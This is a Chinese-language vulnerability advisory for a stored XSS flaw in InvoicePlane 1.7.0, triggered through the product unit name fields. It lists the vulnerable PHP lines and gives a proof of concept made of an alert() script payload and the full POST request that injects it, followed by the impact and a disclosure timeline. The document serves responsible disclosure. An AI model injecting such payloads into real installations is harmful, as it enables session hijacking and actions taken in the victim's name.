漏洞类型: 通过产品单位名称字段触发的存储型跨站脚本(XSS)
产品: InvoicePlane
受影响版本: 1.7.0(可能影响更早版本)
严重程度: 中危
CVSS 3.1 评分: 4.8(CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79:在网页生成期间未对输入进行适当中和
发现者: Leonidas Agathos
报告日期: 2026-01-31
产品单位表单(/index.php/units/form)中的 unit_name 和 unit_name_plrl 字段接受任意输入且未进行清理。这些值会被存储,并在查看任何包含使用恶意单位的产品发票时,以未编码的形式渲染在发票项目列表中。
受影响文件:
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - 第 127 行
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - 第 71 行
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
步骤 1 — 将载荷注入单位名称
导航至 /index.php/units/form,并在单位名称字段中提交以下内容:
<script>alert("XSS in Product Unit")</script>
请求:
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

步骤 2 — 触发 XSS
/index.php/products/form/1 或查看包含该产品的任意发票当项目列表渲染时,载荷即会触发。

该载荷会在任何查看包含恶意单位的发票或产品页面的管理员浏览器中执行。这可能导致会话劫持(如果 Cookie 未设置 HttpOnly)、CSRF 令牌窃取,以及以受害者身份执行操作。
| 日期 |
|---|
此漏洞是在独立安全研究过程中发现的。所有信息仅供教育、研究和防御目的使用,以帮助厂商和安全社区理解和修复该问题。严禁将本信息用于任何恶意用途。
| 事件 |
|---|
| 2026-01-30 | 发现漏洞 |
| 2026-01-31 | 开发概念验证 |
| 2026-01-31 | 通知厂商 |
| 2026-02-04 | 厂商确认 |
| 2026-02-04 | 发布补丁 |
| 2026-02-05 | 公开披露 |